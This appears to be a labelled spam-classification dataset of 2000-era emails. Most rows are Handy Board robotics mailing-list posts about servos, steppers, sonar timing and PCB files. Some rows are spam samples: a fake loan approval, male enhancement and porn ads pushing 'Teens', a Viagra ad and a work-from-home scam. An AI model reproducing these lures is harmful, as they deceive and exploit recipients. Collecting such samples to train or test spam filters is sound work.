mailto:ericson.mar@csfb.com > Skymail : mailto:7781025@skytel.com > > > > > > -----Original Message----- > From: Vic [SMTP:vtudor@videotron*NOTTHISPIECE*.ca] > Sent: Wednesday, May 17, 2000 9:01 AM > To: lugnet.robotics.handyboard@lugnet.com > Subject: how to drive extra steppers with handyboard > > I'd like to build a six legged robot. that would need at least 12 servos. > Is > there a way to control 12 servos or more with the standard handyboard? > someone said it's all in the code (using digital outputs) > does that mean I could write the code to do this? how many digital outputs > are there on the board? This message is for the named person's use only. It may contain confidential, proprietary or legally privileged information. No confidentiality or privilege is waived or lost by any mistransmission. If you receive this message in error, please immediately delete it and all copies of it from your system, destroy any hard copies of it and notify the sender. You must not, directly or indirectly, use, disclose, distribute, print, or copy any part of this message if you are not the intended recipient. CREDIT SUISSE GROUP and each of its subsidiaries each reserve the right to monitor all e-mail communications through its networks. Any views expressed in this message are those of the individual sender, except where the message states otherwise and the sender is authorised to state them to be the views of any such entity. ",0,0 Geoffrey Atkins ,handyboard@media.mit.edu,"Wed, 17 May 2000 03:26:47 -0600",Yours loan is approved 5ls,"Dear Homeowner, handyboard@media.mit.edu http://feabc.com/goodstep You have been approved for a $ 896,747 house loan (2.9 fixed) This offer is being presented to you right now!. Your credit history is in no way a factor. To take advantage of this Limited Time Opportunity, please take a minute and confirm your curiosity or intention to accept this loan, at the following web-site: http://feabc.com/goodstep Best Regards Don Nut Loan Manager http://feabc.com/lit.html handyboard@media.mit.edu wrote: > RE: We can approve yours loan hbio532lj8 ",1,1 Chen Yung Hsu ,handyboard@media.mit.edu,"Wed, 17 May 2000 11:12:58 -0400",RE: how to drive extra steppers with handyboard,"i ended up using two SSC II's to control the twelve servos on my robot because most of the time the servos connected to the XB would not work. the SSC II servos worked almost all the time. http://www.seetron.com i think this is the web address and the SSC II's connect to the handyboard via a digital input. the info and libraries are on the handyboard website. acid burn ",0,1 Amy clement ,Gerrit Lohmann ,"Wed, 17 May 2000 11:29:35 -0400",Re: Irvine meeting," Hello all, Gerrit and I spoke on the phone this morning, and it turns out that this week is the last that we will all overlap (Gerrit leaves on June 1, I am leaving tommorrow -Thurs- evening until May 31). So, I think we should have one iteration of all our talks done this week. I am constructing a web site with an outline of my talk and some of the relevant figures (http://rainbow.ldeo.columbia.edu/~clement/frontiers.html). It is very much in progress, but contains the overall content of what I intend to say. Having looked at Gerrit's web page, I think the material is too much to cover in 25 minutes (though all the figures are likely to be relevant for the discussion). Here are some suggestions: Martin could cover something about the paleoclimate perspective (observations, NADW), and leave Gerrit to talk more about greenhouse warming and models (with some discussion of NADW for both, and also NAO). Gerrit's section on ""Climate variability in the last millenium"" would be a good lead in to his talk (leave the NAO, and Paleoclimate change for discussion or Martin's talk). ""Climate transitions"" could also be covered by Martin. I will talk a bit more about simple models of ENSO, and then refer to GCM results for past/future experiments. I will also talk a bit about proxy data (which I listed). I will limit this to some figures, and maybe leave the details for the discussion. What do you think? Amy ",0,1 Charles Hacker ,Ray Tang ,"Thu, 18 May 2000 07:55:36 +1000",Re: how many servos on handyboard?,"Ray, Whoops, just read my message again, and realised I had stated STEPPER motor, and not the intended SERVO motor. I have used the HB to control 4 SERVO motors. The SERVO's had an external 5V power. The GND of the SERVO supply was attached to the GND of the HB. The Motor outputs were then capable of driving the SERVO motor inputs (with a square wave). With a bit of programming (machine code) I was able to continually send a PWM signal (Square wave) to each of the motor outputs and keep all SERVO's under control. By the way, it is also possible to use the HB motor outputs to control 4 STEPPER motors (yes I mean STEPPER this time). However, you will need to use STEPPER motor driver chips. I am currently developing a robot vehicle that has 4 stepper motors. The motors are actually controlled by a chip, the MC3479, stepper motor controller chip. The HB outputs only need to supply a clock input to the chip, to get the STEPPER to turn. (The chip also needs a direction signal, which I am setting 2 by Hard wiring and 2 others by the digital output lines). > Really? One can drive four stepper motors using the four DC motor output > ports? How are the wirings done in this case? Are you suggesting a > unipolar stepper motor (because I am trying to make bipolar stepper motors > to work on my board)? I would really like to have your suggestions. > > Ray > ----- Original Message ----- > From: Charles Hacker > Newsgroups: lugnet.robotics.handyboard > Sent: 17 May 2000 00:28 > Subject: Re: how many servos on handyboard? > > > The base Handy Board is designed to control 4 DC motors. > > The DC motor output ports CAN be used to control 4 (four) stepper > motors. Remember that a stepper motor needs a square wave pulse > continually sent to the motor for operation, and the mark / space > (time high / time low) pulse determines the position. > So by writing code for the motor outputs, you can control 4 (four) > stepper motors, (but YOU need to entire the code to do this). > > The expansion board has outputs to control servo's directly, but not > having the expansion, I do not know about it. > > > > > I'd like to know how many servos the handy board can control. On the FAQ > it > > says 2, in the documentation it says 4 DC motors. what's the deal? (am I > > stupid? I'm new at this) > > > > also, when you plug an expansion board, do you get 6 EXTRA servos? or > those > > are the only ones you can still use? How about the rest? do all imputs > > remain free on the handyboard and everything on the expansion board is > > extra? than you. > > > > Charles Hacker > Lecturer in Electronics, Computing and Physics > School of Engineering > Griffith University - Gold Coast > PMB 50 Gold Coast Mail Centre > Southport Queensland 9726 > Australia. > Email - C.Hacker@mailbox.gu.edu.au > Ph. (07) 5594 8670 > Fax.(07) 5594 8065 > > > Charles Hacker Lecturer in Electronics, Computing and Physics School of Engineering Griffith University - Gold Coast PMB 50 Gold Coast Mail Centre Southport Queensland 9726 Australia. Email - C.Hacker@mailbox.gu.edu.au Ph. (07) 5594 8670 Fax.(07) 5594 8065",0,0 Erica595@aol.com,XXX@XXXXXXXX.XXXXXXX.XXX,"Wed, 17 May 2000 22:48:19 -0400",(no subject),"Re: Student Packets Time for Summer Term student packet preparations! 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If the clock ticks at 2 MHz (as I believe it does, using an 8 MHz oscillator), this equates to 626 mph, which is fairly close to the nominal speed of sound. Regardless of my error, the maximum range (corresponding to 32767 ticks) is still about 2.29 meters by my calculation. -- Will > I think the register maxes out at 32767. Since it's a 2 MHz processor, this gives: > > (32767 cycles) / (2,000,000 cycles/second) = 0.01638 seconds > > Up here in the Rocky Mountains, the speed of sound is about one centimeter > every 143 half-microseconds, so the maximum range is 2.29 meters. > > Adam Oliver wrote: > > > > Greetings all, > > > > I'm using a homebuilt sonar based on Kam Leang's design, which seems to be > > working quite well. I just have one question with regard to the timing on > > the input port. I'm using the same sonar driver as for the polaroid - right > > now I can't remember which input is used for the return ""echo"". > > > > My question is, what is the maximum time that the timer can measure before > > returning a -1? I'm curious, as I'd like to know the maximum distance I can > > measure on the HB, so I can set my sonar unit up accordingly. > > > > Thanks for your help > > Adam +---------------------------------------------------------+ Conscience: the inner voice which warns us that someone may be looking. -- H. L. Mencken",0,0 Albert ,handyboard@media.mit.edu,"Thu, 18 May 2000 12:34:53 -0400",news from Albert,"Heya! Has your cum ever dribbled and you wish it had shot out? Have you ever wanted to impress your girl with a huge cumshot? MAX LOADS is the only site to offer an all natural male enhancement formula that is proven to increase your sperm volume by up to 500%. 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I have a friend who has a plotter and could draw it, but the layout files are GIFs and he uses Autocad (old computer, old autocad) now, the layout files ar also in gerber format. what is this format? is there a way to conver them in an old autocad format, or to find some freeware layout program that reads it? there's no way I'm drawing that by hand... -- You do not wish to know anything, you wish only to speak. That which you know, you ignore because it is inconvenient. That which you do not know, you invent. ",0,0 Vic ,handyboard@media.mit.edu,"Thu, 18 May 2000 22:22:23 +0000",[kinda OT] Using other processors (6809),"A friend told me he has a development system for the motorola 6809 and he could give it to me. I guess this would be good, I would be able to make my custom boards. But, how does the 6809 compare to the 6811 or other microcontrollers (Basic Stamp, PIC) and where can I still buy it (has it beed discontinued) ? Am I better off making a custom board with a 6809 or buying a handyboard? ",0,0 Gary Livick ,handyboard@media.mit.edu,"Thu, 18 May 2000 23:21:46 +0000",Re: [kinda OT] Using other processors (6809),"Vic, Depends on if you want to be done this year or not. If time and money are no object, designing and building your own board from scratch would be exciting and after just a few interations you could probably have one that is reliable. By the time you got done with it, it wouldn't cost more than two or three times the price of buying an unpopulated PCB for the Handy Board and all it's components. But on the other hand, if you are interested in building a robot or some other kind of machine with a microcontroller for its brains, then just buy a controller and get with it. The microcontroller is a component when used in machinery, just like motors are. You buy a particular motor because it is sized right for the application, and you pick a microcontroller using the same type of criteria. Is it easy to program, are there programming tools available, does it have enough I/O, is it fast enough, does it have enough memory, is there good support for it in case you get stuck?.... those are the questions. You wouldn't try to make the motors yourself, would you? However, if you are just into designing and building circuits, there are lots of other people who do that. A good place for you to go in that case is http://www.seattlerobotics.org/. Several people who design and build microcontroller boards live over there. Good luck, Gary Livick Tiny HC11 products for your robot http://www.teleport.com/~raybutts/ Vic wrote: > A friend told me he has a development system for the motorola 6809 and he > could give it to me. I guess this would be good, I would be able to make my > custom boards. But, how does the 6809 compare to the 6811 or other > microcontrollers (Basic Stamp, PIC) and where can I still buy it (has it > beed discontinued) ? > Am I better off making a custom board with a 6809 or buying a handyboard? ",0,1 Doug Sutherland ,handyboard@media.mit.edu,"Thu, 18 May 2000 16:59:35 -0700",Re: [kinda OT] Using other processors (6809),"Vic wrote: > Depends on if you want to be done this year or not. If time and money are no > object, designing and building your own board from scratch would be exciting > and after just a few interations you could probably have one that is > reliable. By the time you got done with it, it wouldn't cost more than two or > three times the price of buying an unpopulated PCB for the Handy Board and all > it's components. That's what I was thinking too. But there is another consideration: the 6809 is a different class of processor than the 68HC11. The HC11 is a microcontroller while the 6809 is more of a general puropose microcomputer CPU. Although either could certainly be used to control robots, the HC11 is already designed with interfacing to machinery in mind, for example it has ADC onboard. There are likely also some power consumption issues to consider. The 6809 was the core processor for several microcomputers like the radio shack color computer. It would be a good experience to work with either or both, but if ou choose a general purpose CPU you need to provide more interface circuitry (for example adding ADC circuits). If you have robotics in mind you might want to take a look at these: http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=330302979 http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=334106447 http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=332904262 -- Doug ",0,1 Charles Hacker ,Vic ,"Fri, 19 May 2000 10:13:45 +1000",Re: making your own handyboard.,"Vic, Lots of programs handel Gerber files. They are the standard for print / storage of PCB board files. If you don't have such a program, then download one form the numerous freeware/shareware sites. Most electrical type programs would give this capability. If you don't find a freeware/shareware program, then try the demos for some commercial programs. i.e. MicroSim, PSpice - the PCBBoards package MicroCap 5 - mix mode simulator Ivex - WinBoard , (also includes a separate Gerbtool program) etc. (Try searching the web for the above names). > Hi. I'd like to make my own handyboard if I can find all the parts in my > city. But I have a problem with making the PCB... I have a friend who has a > plotter and could draw it, but the layout files are GIFs and he uses Autocad > (old computer, old autocad) > > now, the layout files ar also in gerber format. what is this format? is > there a way to conver them in an old autocad format, or to find some > freeware layout program that reads it? there's no way I'm drawing that by > hand... > > -- > You do not wish to know anything, you wish only to speak. > That which you know, you ignore because it is inconvenient. > That which you do not know, you invent. > Charles Hacker Lecturer in Electronics, Computing and Physics School of Engineering Griffith University - Gold Coast PMB 50 Gold Coast Mail Centre Southport Queensland 9726 Australia. Email - C.Hacker@mailbox.gu.edu.au Ph. (07) 5594 8670 Fax.(07) 5594 8065 ",0,0 Brat Wizard ,HandyBoard Mailing List ,"Thu, 18 May 2000 21:43:08 -0400",Re: [kinda OT] Using other processors (6809),"I built my own Handyboard-ish computer (the Gadget Board) for my robot (Gadget). My motivation for building it was several-fold: First I just wanted to see if I could do it. It was a lot of fun (not to mention hard work). Two, I wanted to do more things than the Handyboard was really designed to do. Three, at one time I toyed with the idea of selling boards (soon shelved when I realized there were more profitable things to do :) Four, it was fun (I know I already mentioned that, but it was so fun, I had to say it twice :) Was it worth the effort?? You betcha! I've been an electronics/computer professional for close to 20 years and I still learned lots of new things. The above notwithstanding, pretty much the largest motivator was needing a board to do more than the HB was designed to do. I poured over the schematics for the HB at quite some length, making notes and lots and lots of trial-circuit designs on paper napkins before I decided that trying to ""expand"" the HB was more trouble than it was worth. Still, I really like the development environment, the active mailing list (I've been on the HB list since the 6.270 Robot Builder's Guide came out-- when was that Fred, 1993 or so??? This is one of the best lists I've ever seen), lots of documentation and support, and programming examples and contributed code. With resources like that, I'd have been foolish to do consider anything else! So I pulled out the HB ""core"" and basic features that absolutely made it a ""HB"" and interwove my circuits into the design. The result is a board that is pretty much 100% HB compatible (ok, maybe not absolutely 100% but pretty darned close- it runs the HB pcode unmodified) and allows me to use all the available tools and resources to develop software with. The new features include (doing all this from memory) 36 analog input ( 32 are bank-switched, 4 are raw inputs), 24 (plus a few odd bits) digital I/O, a sonar interface (pic-based), a stepper motor interface, onboard 40kHz clock source (really useful), etc. About two days worth of hand-design convinced me to go out and get a pcb-cad program. It took me about a week or so to actually design the electronics and another couple of weeks to lay out the board. Then I shopped around for a circuit manufacturer. I ultimately decided on Canadian Circuits. They did a prototype run (two boards) for about $300 bucks plus shipping. They required gerber plots and a drill size guide. That was one of the more difficult aspects btw, making sure that all my component holes were right- in the end several were right on the ""hairy-edge"" and just barely worked. Even working with Canadian Circuits it took several tries to get everything right. Next, the moment I was waiting for arrived- about two weeks later the boards arrived from Canadian Circuits and I pulled them out and marvelled between my napkin drawing and the board (no matter how non-chalantly anyone tries to act- that's definately an exciting moment). Then of course the resulting disappointment that ensued when it didn't power up on the first try (they rarely ever do). So a little bit of troubleshooting and a few hacked traces later it powered up and ran perfectly. All in all, the whole thing probably cost about two HB's worth. But then, I got two GadgetBoards out of the deal too. This is of course _not_ inclusive of my time and energy. Adding those factors in and the total cost would of course be much higher. But hey, this is a _hobby_ :) If you want to check out my designs and efforts- look at my page at http://www.wizard.org. I haven't updated the page in awhile and everything I have in electronic form _is_ on the page. My two cents worth. John Whitten brat@naxs.com MAY THIS LIST CONTINUE TO ROCK ON! :) Gary Livick wrote: > Vic, > > Depends on if you want to be done this year or not. If time and money are no > object, designing and building your own board from scratch would be exciting > and after just a few interations you could probably have one that is > reliable. By the time you got done with it, it wouldn't cost more than two or > three times the price of buying an unpopulated PCB for the Handy Board and all > it's components. > > But on the other hand, if you are interested in building a robot or some other > kind of machine with a microcontroller for its brains, then just buy a > controller and get with it. The microcontroller is a component when used in > machinery, just like motors are. You buy a particular motor because it is > sized right for the application, and you pick a microcontroller using the same > type of criteria. Is it easy to program, are there programming tools > available, does it have enough I/O, is it fast enough, does it have enough > memory, is there good support for it in case you get stuck?.... those are the > questions. You wouldn't try to make the motors yourself, would you? > > However, if you are just into designing and building circuits, there are lots > of other people who do that. A good place for you to go in that case is > http://www.seattlerobotics.org/. Several people who design and build > microcontroller boards live over there. > > Good luck, > > Gary Livick > Tiny HC11 products for your robot > http://www.teleport.com/~raybutts/ > > Vic wrote: > > > A friend told me he has a development system for the motorola 6809 and he > > could give it to me. I guess this would be good, I would be able to make my > > custom boards. But, how does the 6809 compare to the 6811 or other > > microcontrollers (Basic Stamp, PIC) and where can I still buy it (has it > > beed discontinued) ? > > Am I better off making a custom board with a 6809 or buying a handyboard? -- +----------------------------------------------------------------------+ | ""I'll give up my modem when they pry it from my cold, dead fingers!"" | | John Whitten - brat@naxs.com http://www.wizard.org | +----------------------------------------------------------------------+ ",0,1 """John R. Edwards"" ",handyboard@media.mit.edu,"Fri, 19 May 2000 03:22:07 +0000",UV sensor,"Has anyone used the Hamamatsu C3704 Drive Circuit and the R2868 Flame Detector with the handyboard? The detector works great on my scope but I can't get the Handyboard to read it on a digital in port. Do you have to add a capacitor to lengthen the pulse width and if so what value capacitor. Also do you have to cut the trace to the 47k ohm resistor. Thank You John Edwards ",0,0 Stephan Adelsberger ,handy board ,"Fri, 19 May 2000 19:48:15 +0200",multiplex other analog ports than analog 0 & 1,"> If you use the expansion board, you will loose analog input 0 und 1. These two > inputs are multiplexed on the exp board, so you get some more analog ports. > -Martin I built the Expansion board in order to control servos. I cannot use the additional analog inputs because I have destroyed analog port 0 and 1. Is it possible to multiplex other analog ports? What software changes are needed? ",0,0 Percy ,Soulemh ,"Fri, 19 May 2000 11:18:45 -1100",things should go fine,"Yo Soulemh, You still wanna to suprise ur wife? You still hearing about it about it in the bed? If so then see http://www.forwhattimeisyouwleo.org/nw9/. 78-83o pepper mass F or salt for most fish. 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The interfacing link above tells you how to cut the trace. Good luck! Gary Livick Tiny HC11 products for your robot http://www.teleport.com/~raybutts/ Adam Oliver wrote: > Greetings, > > I've looked, but don't seem to be able to find any relevant info. > > How does one hook up one of these beasts to the handyboard? I remember > reading something somewhere that a track needs to be cut to do this - > something I would like to avoid if possible. Is there any way around this? > > thanks > Adam ",0,1 Rosella ,handyboard@media.mit.edu,"Sun, 21 May 2000 04:06:04 -0700",well-favoured russian attractive Teens here!," alluring Young Girls so esthetic and younng. http://honeydogame.info/index7.html?iSPhfd.fX,hj REMO\\\\/E http://honeydogame.info/ ",1,1 Vic ,handyboard@media.mit.edu,"Sun, 21 May 2000 01:02:55 +0000",handyboard in Canada? (Montreal?),"I'd like to know, is anyone here from Montreal or the rest of Canada? Is there any distributor for handyboard parts or kits around here? All the ones I find are in the states (or hong kong...) -- You do not wish to know anything, you wish only to speak. That which you know, you ignore because it is inconvenient. That which you do not know, you invent. ",0,0 Its yours <827462@rollinginthedough-times.info>,"""handyboard@media.mit.edu"" ","Sun, 21 May 2000 03:47:24 -0700",All the talk-a pink diamond-studded cellphone handyboard@media.mit.edu," 5/15/2006 - 2:31 PM Dear Marietta@em.ca, You can exude fashion without sacrificing function... with this free* diamond and pink quilt-patterned cell phone. It's packed with all the latest must-have features. And it comes with its own pink carrying pouch, ear bud and dangle. To be among the first to flaunt this extraordinary fashion accessory, click on the link below or copy it into your browser: http://point.rollinginthedough-times.info/redir.aspx?id=363590&email=Marietta@em.ca Now you can get connected AND get noticed at the same time. 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",1,0 Dirk Stueker ,handyboard@media.mit.edu,"Mon, 22 May 2000 08:20:42 +0000",Re: Sharp analog distance sensor,"Adam Oliver wrote: > > Greetings, > > I've looked, but don't seem to be able to find any relevant info. I created a website at: http://condor.informatik.uni-oldenburg.de/stueker/GP2D12 I will have to add some new experiences. 1. You definetely should use the device vertical (my choice: Emitter at bottom). I have no clue, how anybody got reliable results when mounting it horizontal. There is no helpful information on Sharp's datasheet, so I made my own meassurements and was surprised, that when mounting the sensor horizontal, the minimal distance was not detected in the middle of the apex angle (hope this is the correct English word). The result was the same for three devices! 2. I expected to detect obstacles in a distance upto 80cm. Unfortunately, a reliable detection does only seem to be possible in range of 60cm. Farther obstacles can not be clearly differentiated from sensor noise. 3. Depending on the needed accurancy it seem to be useful to amplify the Sensor voltage. 4. I experienced, that there seem to be diffractions on edges of obstacles. The result is that the edges of obstacles seem closer than they really are (effect is noticeable around 40-50cm distance). I have to add some excel-sheets to the website, to point this out. [Has anybody made this experience before?] Hope this helps. Dirk -- ================================================================== Dirk Stueker Zietenstr. 36 26131 Oldenburg Germany Department of Computer Science University of Oldenburg Tel. & Fax: +49 / 441 / 5 39 35 Mobile: +49 / 175 / 4 000 294 ------------------------------------------------------------------ Homepage: www.stueker-online.de Email: dirk@stueker-online.de ================================================================== ",0,1 fazzini ,PAUL MANTSCH ,"Mon, 22 May 2000 14:53:00 -0300",BUILDINGS,"Dear Paul, I have been in Mendoza in order to make the last arrangements with Ruperto MAGNI S.A. and they were: 1) The official start date of the Los Leones and the Assembly buildings is May 24th 2) The buildings have to be finished in 150 calendar days (it was included 30 day as contingency). 3) This week I have to get the work's schedule ready. I also made the last arrangements with BROMBERG S.A. and they were: 1) The official start date for the medium voltage power line is May24. 2) The line has to be finished in 45 days (5 Contingency days included). Best regards, Norberto ",0,0 Paul Mantsch ,fazzini@cnea.gov.ar,"Mon, 22 May 2000 15:31:30 -0500",Re: BUILDINGS,"Norberto: Thanks much for the note on buildings. Sorry to be a pest but I have some questions. We are trying to revise our schedule and need some more information. 1) Is the 30 days contingency *our contingency* or the contractor's contingency? We estimated in Malargue based on the completion of the Malargue visitors center that we needed to add 60 days to the four months originally given by the contractor. Do we have to add the sixty days to the 150 days instead? Having the finish date fall after Christmas will probably add another delay of several weeks. 2) Is there some way to negotiate with the contractor to focus on the Los Leones building rather than the assembly building so that we assure access to the FD building before the end of the year? 3) Do we still have to pay extra for temporary power to the Los Leones site? The contractor may delay until he has power on Los Leones before he begins. We really appreciate your hard work on these contracts. It a difficult job. Paul fazzini wrote: > Dear Paul, > > I have been in Mendoza in order to make the last arrangements with > Ruperto MAGNI S.A. and they were: > > 1) The official start date of the Los Leones and the Assembly buildings > is May 24th > > 2) The buildings have to be finished in 150 calendar days (it was > included 30 day as contingency). > > 3) This week I have to get the work's schedule ready. > > I also made the last arrangements with BROMBERG S.A. and they were: > > 1) The official start date for the medium voltage power line is May24. > > 2) The line has to be finished in 45 days (5 Contingency days included). > > Best regards, > > Norberto ",0,0 fazzini ,Paul Mantsch ,"Mon, 22 May 2000 17:58:59 -0300",Re: BUILDINGS,"Dear Paul, 1) It is OUR contingency, the contractor can't have "" a priory "" contingency after the bidding. We don't have to add 60 days to the 150, I already add 30 to the 120 of the contract. 2) I can try. 3) We do not have to pay extra money for temporary power to Los Leones because we do not specify that in the bidding. Best regards, Norberto ",0,0 Vic ,handyboard@media.mit.edu,"Tue, 23 May 2000 22:58:35 +0000",servos again,"I'm still at my servo question :) the 3 servo routines so far use ""normal"" digital outputs. There are, according to the FAQ, 4 extra outputs I could use (SPI J6). Does this mean that I could write my own routines to drive 4 extra servos using these ports, to a total of 6 servos (7 if you include the speaker one ) ? Is there any information on how you should drive a servo (using ASM, from the handyboard) -- You do not wish to know anything, you wish only to speak. That which you know, you ignore because it is inconvenient. That which you do not know, you invent. ",0,0 Chris Ashwin ,DMDX ,"Wed, 24 May 2000 11:01:58 +0000",[DMDX],"Hi, I am a new DMDX user, and I have written a file to run videos. They seem to run fine, except that often when the first, and only the first, video runs, the words that appeared on the screen just before (ex. press the button to start) flash and move around mostly hidden under the video that plays first. Any ideas? Also, I would like to run DMDX, including the video files, on a laptop computer. Any recommendations for a current laptop model that will run DMDX well, particularly with videos? Thanks. Cheers, Chris ------------ Chris Ashwin University of Cambridge Department of Experimental Psychology Downing Street Cambridge, UK CB2 3EB tele: (01223) 339552 fax: (01223) 333564 ",0,0 Mike Ford ,DMDX@psy1.psych.arizona.edu,"Wed, 24 May 2000 11:53:05 +0100",[DMDX] Re: ,"At 11:01 AM 5/24/00 +0000, you wrote: >Hi, > >I am a new DMDX user, and I have written a file to run videos. They seem to >run fine, except that often when the first, and only the first, video runs, >the words that appeared on the screen just before (ex. press the button to >start) flash and move around mostly hidden under the video that plays >first. Any ideas? Hi Chris. Mail me the first few lines of the script and I will have a look and see if I can see why it is doing this. - Mike xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox Mike Ford MRC Cognition & Brain Sciences Unit [Ex Applied Psychology Unit] Tel: 01223 355294 ext 241 15 Chaucer Road Fax: 01223 359062 Cambridge CB2 2EF email: mike.ford@mrc-cbu.cam.ac.uk http://www.mrc-cbu.cam.ac.uk/personal/mike.ford xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 24 May 2000 09:00:55 -0700",[DMDX] Re: ,"At 11:53 AM 5/24/00 +0100, you wrote: >At 11:01 AM 5/24/00 +0000, you wrote: > >Hi, > > > >I am a new DMDX user, and I have written a file to run videos. They seem to > >run fine, except that often when the first, and only the first, video runs, > >the words that appeared on the screen just before (ex. press the button to > >start) flash and move around mostly hidden under the video that plays > >first. Any ideas? > >Hi Chris. Mail me the first few lines of the script and I will have a look >and see if I can see why it is doing this. It's probably because the screen isn't erased before the video starts, not sure I ever made that an explicit requirement in the docs and unless I'm forgetting something I'm pretty sure it is required. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Every program has two purposes -- one for which it was written and another for which it wasn't. ",0,0 Tracee Fitting ,sommers@physics.utah.edu,"Wed, 24 May 2000 02:20:12 -0700",Re: your AMBtEvN,"Hi V A V C L X P A m I I e a r L b A A v n o I i G L i a z U e R I t x a M n A S ra c http://www.anocallas.com Thieves! Fire! Murder! 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Particularly I would like to be able to close a relay when the digital out is ""on"". I think the motor control outputs easily have enough current to close a relay, but I need more than 4. Thanks, Todd ",0,0 Charles Hacker ,Todd Ahlstrom ,"Thu, 25 May 2000 14:40:08 +1000",Re: Digital outputs.,"Todd, The outputs can control a transistor, that is powered by a separate higher current o/p. (Poor text diagram following) Vsupply _ | / Dig Out -----------------| <- Tansistor \\ | |__ Vout > How would I go about making the digital outputs capable of controlling a > higher current than the 5 ma that is standard? Can a switching > transistor be controlled by them? Or do I need some sort of IC to do the > job? Particularly I would like to be able to close a relay when the > digital out is ""on"". I think the motor control outputs easily have > enough current to close a relay, but I need more than 4. > > Thanks, > Todd > Charles Hacker Lecturer in Electronics, Computing and Physics School of Engineering Griffith University - Gold Coast PMB 50 Gold Coast Mail Centre Southport Queensland 9726 Australia. Email - C.Hacker@mailbox.gu.edu.au Ph. (07) 5594 8670 Fax.(07) 5594 8065",0,0 Stefano Falconetti ,handyboard@media.mit.edu,"Thu, 25 May 2000 08:59:50 +0200",CCD on the handyboard ??,"Maybe someone already discussed this argument.... I'd like to connect a CCD to the handyboard, but how ?? What comes out from a CCD ? How to interface the CCD's output signal ? Anyone can help me ? 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Thank ",0,0 Thomas Clowes ,XXXXXXXX@XXXX.XXXXXXX.XXX,"Thu, 25 May 2000 14:55:28 -0000",work is suitable also for people with the disablement,"This work is suitable also for people with the disablement. At present only for the citizens OF THE USA, Great Britain, Germany, Canada and France, living in the territory of its country. Necessary conditions: 1. the language proficiency of the country of the stay 2. the computer 3. the Internet The standard of knowledge of computer does not have a value, the main presence the Internet. Guarantees: 1. nothing to pay not necessary 2. no obligations from your side Request: if you have the possibility to be connected with the coordinators of the transmit this proposal to them or send on E-mail the number of the faxes of these people (organizations). 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Les questions a propos du travail envoient a l'E-mail : pour les citoyens DES Etats-Unis: Work_America@zensearch.com pour les citoyens de la Grande-Bretagne: Work_England@zensearch.com pour les citoyens de l'Allemagne: Work_Germany@zensearch.com pour les citoyens du Canada: work_canada@zensearch.com pour les citoyens de la France: Work_France@zensearch.com ",1,0 Gary Livick ,handyboard@media.mit.edu,"Thu, 25 May 2000 16:51:09 +0000",Re: Digital outputs.,"You can use solid state relays with 5 VDC inputs and DC outputs to control large loads. The inputs require very little current. It is less expensive to build transistor switches, which will do the same thing, but obviously much simpler to use relays. Good luck, Gary Livick Tiny HC11 products for your robot http://www.teleport.com/~raybutts/ Todd Ahlstrom wrote: > How would I go about making the digital outputs capable of controlling a > higher current than the 5 ma that is standard? Can a switching > transistor be controlled by them? Or do I need some sort of IC to do the > job? Particularly I would like to be able to close a relay when the > digital out is ""on"". I think the motor control outputs easily have > enough current to close a relay, but I need more than 4. > > Thanks, > Todd ",0,1 ,,,,"for Marjorie.Williams@lvh.com; Thu, 25 May 2000 13:55:04 -0400 Received: from flowcyt.cyto.purdue.edu ([128.210.159.11]) by gatekeeper1.lvh.com via smtpd (for lvhlsgcs2 [192.234.106.35]) with SMTP; 25 May 2000 17:55:04 UT Received: (from root@localhost) by flowcyt.cyto.purdue.edu (8.9.3/8.9.3) id KAA09221 for cyto-sendout; Thu, 25 May 2000 10:46:06 -0500 Received: (from daemon@localhost) by flowcyt.cyto.purdue.edu (8.9.3/8.9.3) id DAA07427 for cytolist; Thu, 25 May 2000 03:47:05 -0500 Received: from mail-d.bcc.ac.uk (mail-d.bcc.ac.uk [144.82.100.24]) by flowcyt.cyto.purdue.edu (8.9.3/8.9.3) with ESMTP id DAA07423 for ; Thu, 25 May 2000 03:47:04 -0500 Received: from haem (actually host ftp.haem.ucl.ac.uk) by mail-d.bcc.ac.uk with SMTP (XT-PP); Thu, 25 May 2000 09:46:57 +0100 Message-Id: <3.0.6.32.20000525094533.00936640@pop-server.bcc.ac.uk> X-Sender: rmgc300@pop-server.bcc.ac.uk X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Thu, 25 May 2000 09:45:33 +0100 To: cyto-inbox From: Arnold Pizzey Subject: Re:Dead Cell Removal Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" X-PMFLAGS: 34078848 0 1 7431.CNM",0,0 Todd Ahlstrom ,handyboard@media.mit.edu,"Sat, 27 May 2000 01:17:58 +0000",IC question,"Just got my handyboard, and I am new to programming, so I have a probably simple question for you all. I have been playing around with IC trying to get responses on the LCD from start button presses. if I send the following on the IC command line : {if (start_button()) printf(""you pressed the start button\\n"");} It will work only if I am holding the start button when I press return and it sends the code to the HB. What I want to know is how do I get it to react to a button press. What I was hoping for was to send the code then have the HB wait for me to press the button to execute the printf. Thanks, Todd ",0,0 Todd Ahlstrom ,handyboard@media.mit.edu,"Sat, 27 May 2000 02:23:09 +0000",hbdl question,"when using hbdl what does the burn the board option do? It says download to eprom. What file should you download to the eprom? Is this necessary? Thanks, Todd ",0,0 Fernando Torres ,handyboard@media.mit.edu,"Sat, 27 May 2000 00:55:49 -0400",my handy is death ????,"Mister They in my university bought 6 HandyBoard for the development of courses relations with IA. 2 of the Handyboard failed one of them sample in their screen for causes that not yet are known, the Interactive C, as if I you work correctly, the problem is that the motors are activated all lighting the red leds, loads you another program, and it continue carrying out the previously mentioned, reset schemes it and continuous with the problems, if you has antecedents with these problems I you would thank me you respond to the brevity, because I am carrying out my thesis with this device that is the Handy. from their help is already thanked Fernando Torres S Universidad Catolica de la Santisima Concepcion Chile ",0,0 Will Bain ,Handyboard Mailing List ,"Sat, 27 May 2000 01:12:50 -0600",Re: IC question,"You might try something like: while( 1 ) { if( start_button() ) printf( ""you pressed the start button\\n"" ); else printf( ""\\n"" ); msleep( 250L ); } or simply: { start_press(); printf( ""you pressed the start button\\n"" ); } -- Will Todd Ahlstrom wrote: > > Just got my handyboard, 